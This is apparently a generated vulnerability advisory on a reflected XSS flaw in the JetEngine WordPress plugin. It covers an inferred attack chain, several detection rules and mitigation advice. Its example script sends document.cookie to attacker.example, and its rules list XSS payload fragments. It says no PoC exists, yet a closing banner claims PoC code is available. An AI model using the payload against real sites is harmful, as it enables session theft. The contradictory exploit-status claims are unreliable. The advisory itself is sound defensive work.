CVE-2026-81760
Executive Summary
CVE-2026-81760 is a Reflected Cross-Site Scripting (XSS) vulnerability in Crocoblock JetEngine, a popular WordPress plugin. The flaw affects JetEngine versions from n/a through 3.8.14.2 and arises from improper neutralization of input during web page generation (CWE-79). A remote attacker can exploit this vulnerability without authentication (PR:N) by luring a victim into clicking a crafted link, resulting in script execution within the victim's browser session with low impact to confidentiality, integrity, and availability (CVSS 3.1 base score: 7.1). As of the current intelligence cycle, no patch is available from any tracked source, and no public exploit code or PoC has been observed; exploitation is likely to occur via social engineering combined with crafted URLs.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability is classified as a Reflected Cross-Site Scripting flaw, per the NVD description: "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetEngine allows Reflected XSS."
Vulnerability Mechanism
Reflected XSS occurs when user-supplied input is embedded into a generated web page without adequate sanitization or output encoding, and that input is then reflected back to the requesting client (typically in an HTTP response). In the context of JetEngine, the vulnerable mechanism is:
- A parameter or query-string value is accepted by the plugin's request handler.
- This value is incorporated into the HTML/JavaScript output of a dynamically generated page without proper escaping.
- When a victim's browser renders the response, the attacker-supplied payload is interpreted as active content (e.g.,
<script>tags, event handlers, orjavascript:URIs).
The NVD description does not provide specific function names, URL endpoints, or parameter identifiers. Therefore, the exact trigger vector cannot be named with certainty. However, the vulnerability class implies that the reflection occurs during page generation — that is, when JetEngine constructs HTML responses (likely for dynamic content listing, forms, or AJAX endpoint responses).
Affected Versions and Scope
- Affected: JetEngine versions from n/a (i.e., all versions prior to the first release tracked by the CNA) through 3.8.14.2.
- Patched version: None identified. Patch Confidence is 0/4 — no patch evidence from any tracked source, and no vendor advisory has been published.
Attack Surface
- Attack vector: Network (AV:N) — the vulnerability can be triggered remotely via HTTP requests.
- Attack complexity: Low (AC:L) — no special conditions beyond a crafted URL are needed.
- Privileges required: None (PR:N) — no authentication is necessary to deliver the malicious link.
- User interaction: Required (UI:R) — the victim must click or open the crafted link.
Impact Characteristics (from CVSS)
- Confidentiality: Low (C:L) — limited data exposure, typically session tokens or in-page data accessible via JavaScript.
- Integrity: Low (I:L) — attacker can modify page content or perform actions as the victim.
- Availability: Low (A:L) — limited potential for disrupting page rendering or resource consumption.
- Scope: Changed (S:C) — the XSS can impact resources beyond the vulnerable component (e.g., the victim's session with the WordPress application, or interactions with other sites).
CWE Classification
The vulnerability maps to CWE-79 (Improper Neutralization of Input During Web Page Generation). This is a well-understood flaw class, and exploitation patterns are well documented in security literature, though the specific implementation details for JetEngine are not disclosed in the available data.
Exploitation Scenarios
Scenario Overview
Given that no public PoC is available, the attack chain below is inferred from the vulnerability class (Reflected XSS) and the CVSS characteristics. It is not derived from specific functional details of JetEngine.
Step 1 — Reconnaissance / Target Identification
An attacker targets WordPress sites running JetEngine versions ≤ 3.8.14.2. Identification can be performed by:
- Inspecting the site's page source for JetEngine-specific markers (e.g., CSS classes, script handles, or meta tags that reference JetEngine).
- Querying the WordPress plugin repository or common fingerprinting tools for the active plugin version.
- Using search engine dorks to find sites with JetEngine-enabled features (see Shodan dorks in METADATA).
Step 2 — Crafting the Malicious Link
The attacker constructs a URL that includes a malicious payload in a parameter that JetEngine reflects into a page without sanitization. Because exact parameter names are unknown, the payload would be embedded in a query-string parameter that the plugin processes during page generation (e.g., a search term, filter value, or pagination cursor). The payload would typically be URL-encoded JavaScript or an HTML injection such as:
<script>document.location='https://attacker.example/steal?c='+document.cookie</script> — (class-level example; no claim is made that this exact payload works against JetEngine).
Step 3 — Delivery / Execution Method
- The attacker distributes the crafted link via email, messaging platforms, or by posting it in public forums frequented by the site's users (social engineering).
- The victim clicks the link while authenticated to the target WordPress site.
- The browser sends the request to the vulnerable JetEngine endpoint.
- The server reflects the payload into the HTML response without proper encoding.
- The victim's browser executes the script in the context of the affected domain (same-origin).
Step 4 — Post-Exploitation Impact
- Session hijacking: The script can read
document.cookieand exfiltrate session tokens (if cookies are not HttpOnly), enabling account takeover. - Action on behalf of the user: The script can make authenticated requests to the WordPress admin AJAX endpoints, potentially modifying posts, creating rogue admin users (if the victim is an administrator), or installing malicious plugins.
- Data theft: If the page contains sensitive data (e.g., via JetEngine's dynamic content features), the script can read the DOM and exfiltrate it.
- Pivoting: The compromised session may be used to interact with other applications on the same domain or to stage further attacks.
Constraints Noted
- User interaction is required; the attack is not autonomous.
- The impact is limited (Low) across all security dimensions; however, session hijacking on a privileged account can elevate real-world impact beyond the CVSS subscores.
- No public exploit code exists as of the report date; the chain above is hypothetical and based on the vulnerability class.
Impact Assessment
Business Impact
A successful Reflected XSS in a WordPress plugin affects:
- Data integrity: An attacker could alter page content as seen by the victim, inject phishing forms, or manipulate the display of dynamic JetEngine content.
- Confidentiality: Session tokens and in-page data may be exfiltrated, leading to account compromise, particularly for administrative users.
- Availability: Although CVSS scores availability as Low, script injection could break page rendering or trigger repeated alert() calls in the victim's browser, disrupting their experience.
- Reputation: Compromised websites used to serve XSS payloads may be flagged by browsers or blocklisted, harming the site's reputation and SEO.
Affected Systems
- All WordPress installations running Crocoblock JetEngine versions up to and including 3.8.14.2.
- No OS-level impact; the flaw is confined to the web application layer.
- Scope is Changed (S:C), meaning the impact extends beyond the vulnerable component to the victim's browser session with the entire origin.
Blast Radius
- Single victim per crafted link; however, the attacker can mass-distribute links via spam or phishing campaigns.
- If a victim is a site administrator, the blast radius expands to full site compromise (plugin/theme code modification, backdoor installation).
- The vulnerable plugin is widely used in WordPress ecosystems that rely on JetEngine for custom post types and dynamic content; enterprise marketing sites and content portals are likely targets.
CVSS Rationale
- Base Score: 7.1 (High).
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L.
- The entry vector is the web interface, no privileges are required for payload delivery, but the reliance on user interaction constrains the attack.
Detection Guidance
Sigma Rule
title: Reflected XSS Attempt Against Crocoblock JetEngine - Suspicious Query Parameters
id: 3f2f8a1e-9c6d-4b5e-8f10-aa1b2c3d4e5f
status: experimental
description: Detects HTTP requests to WordPress sites running JetEngine with common XSS payload indicators in query parameters.
author: Valtersit Threat Intelligence
date: 2026/04/01
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection_xss_patterns:
cs-uri-query|contains:
- '<script'
- 'javascript:'
- 'onerror='
- 'onload='
- 'document.cookie'
- 'alert('
- 'fetch('
selection_jetengine_path:
cs-uri-path|contains:
- '/?jet_engine'
- '/?jet-smart-filters'
- '/?listing'
condition: selection_xss_patterns and selection_jetengine_path
timeframe: 5m
falsepositives:
- Legitimate user searches that contain the literal string "script" (rare)
- Security scanners performing authorized XSS checks
level: high
tags:
- attack.t1059.007
- attack.t1189
- cve.2026.81760
YARA Rule
rule CVE_2026_81760_JetEngine_Reflected_XSS
{
meta:
author = "Valtersit Threat Intelligence"
description = "Detects HTTP requests containing XSS payloads targeting JetEngine plugin parameters"
cve = "CVE-2026-81760"
date = "2026-04-01"
strings:
$xss_script = "<script" nocase
$xss_js = "javascript:" nocase
$xss_onerror = "onerror=" nocase
$xss_onload = "onload=" nocase
$xss_cookie = "document.cookie" nocase
$jet_engine_ref = "jet-engine" nocase
$query_ref = "?" nocase
$urlencoded_lt = "%3Cscript" nocase
$urlencoded_gt = "%3E" nocase
condition:
(any of ($xss_*) and $jet_engine_ref) or
($urlencoded_lt and $urlencoded_gt and $jet_engine_ref)
}
Note: This YARA rule is designed for HTTP traffic capture (pcap) or request-log analysis; tune based on your deployment.
Suricata IDS Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2026-81760 - JetEngine Reflected XSS Attempt";
flow:to_server,established;
content:"jet-engine"; nocase;
pcre:"/(%3C|<)script|(javascript:|onerror=|onload=|document\.cookie)/i";
classtype:web-application-attack;
reference:cve,2026-81760;
sid:3100001;
rev:1;
)
Note: Tune the pcre pattern to balance false positives; consider additional rule metadata for your SIEM integration.
Elastic Detection
sequence by source.ip with maxspan=1m
[ network where dns.question.name like "*wordpress*" ] // optional: identify WP sites
[ http where http.request.method == "GET" and
(http.request.uri contains "jet-engine" or http.request.uri contains "jet_engine") and
(http.request.uri contains "<script" or
http.request.uri contains "javascript:" or
http.request.uri contains "onerror=" or
http.request.uri contains "onload=" or
http.request.uri contains "document.cookie")
]
Splunk SPL Query
index=web sourcetype=access_combined
| where method="GET"
| eval uri_lower=lower(uri_path + uri_query)
| where like(uri_lower, "%jet-engine%") OR like(uri_lower, "%jet_engine%")
| where like(uri_lower, "%<script%") OR like(uri_lower, "%javascript:%") OR like(uri_lower, "%onerror=%") OR like(uri_lower, "%onload=%") OR like(uri_lower, "%document.cookie%")
| stats count by src_ip, uri_path, uri_query, status
| sort - count
Wazuh OSSEC Rule
<group name="web, xss,">
<rule id="100420" level="12">
<decoded_as>json</decoded_as>
<field name="url">\.*jet-engine.*</field>
<regex>(javascript:|%3Cscript|<script|onerror=|onload=|document\.cookie)</regex>
<description>CVE-2026-81760: JetEngine Reflected XSS attempt detected (query parameter contains XSS payload)</description>
<mitre>
<id>T1059.007</id>
<id>T1189</id>
</mitre>
<group>attack, xss, cve-2026-81760</group>
<options>no_full_log</options>
</rule>
</group>
Mitigation & Patch Guidance
Patch Status: UNPATCHED — no patch evidence from any tracked source. Vendor fix N/A. Patch Confidence: 0/4.
1) Immediate Mitigations (to apply now)
- Web Application Firewall (WAF) Rules: Deploy WAF rules to block or sanitize query parameters containing common XSS payload signatures (
<script>,javascript:,onerror=,document.cookie). If you use Cloudflare, AWS WAF, or ModSecurity, enable the OWASP CRS XSS ruleset (e.g., rule 941xxx). - Disable or restrict JetEngine features: If feasible, temporarily disable JetEngine's dynamic content features that generate pages from user-controlled input until a patch is available.
- User education: Inform site users, especially administrators, not to click on suspicious links that target the WordPress site.
- Monitor access logs: Activate the detection rules provided above and review alerts for anomalous GET requests with encoded payloads.
2) Patch / Upgrade Steps
- Monitor vendor channels: Subscribe to Crocoblock's security advisories and the WordPress plugin update feed.
- Apply the patched version as soon as it is released. JetEngine version 3.8.14.3 or later is expected to contain the fix (no vendor confirmation yet — assume vulnerable until proven otherwise).
- If the plugin has an update available in the WordPress dashboard, apply it immediately; otherwise, check the Crocoblock official site or changelog for 3.8.14.3+.
- Validate site integrity: After patching, run a scan for injected content or backdoors, as earlier exploitation may have left dormant scripts.
3) Long-Term Hardening
- Input validation and output encoding: Ensure that a WordPress security plugin or custom code performs output encoding for all dynamic content, particularly any user-supplied parameters reflected in HTML.
- Content Security Policy (CSP): Deploy a strict CSP that disables inline scripts (
script-src 'self') to mitigate the impact of XSS even if injection occurs. - Cookie hygiene: Set
HttpOnlyandSecureflags on session cookies, and use WordPress salt rotation to invalidate stolen tokens. - Regular plugin audits: Review all installed plugins for known CVEs and maintain a patching SLA.
- Least privilege: Restrict admin accounts to only necessary roles; enable two-factor authentication for all administrative users.
References
- NVD Entry for CVE-2026-81760 — https://nvd.nist.gov/vuln/detail/CVE-2026-81760 (contains the CNA description and CVSS vector; check for updated references as CNA publishes them).
- Crocoblock JetEngine Product Page — https://crocoblock.com/plugins/jetengine/ (vendor site; watch for security announcements and version changelog).
- WordPress Plugin Repository — JetEngine — https://wordpress.org/plugins/jetengine/ (if listed; version history can confirm patched releases).
- CWE-79 — Improper Neutralization of Input During Web Page Generation — https://cwe.mitre.org/data/definitions/79.html (for vulnerability class details and mitigation patterns).
- CISA Known Exploited Vulnerabilities Catalog — https://www.cisa.gov/known-exploited-vulnerabilities-catalog (checked; CVE-2026-81760 is NOT listed — no known in-the-wild exploitation as of the report date).
Exploit-in-the-Wild Evidence: None observed. EPSS score not yet assigned by FIRST. No public PoC, no Nuclei template, no exploit code detected in tracked repositories.
Report generation note: This report is based solely on the CVE intelligence data provided. Specific function names, endpoints, and parameter names are not disclosed in the NVD description; detection rules use broad patterns appropriate for the vulnerability class. Update this report when vendor advisory or patch details are published.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.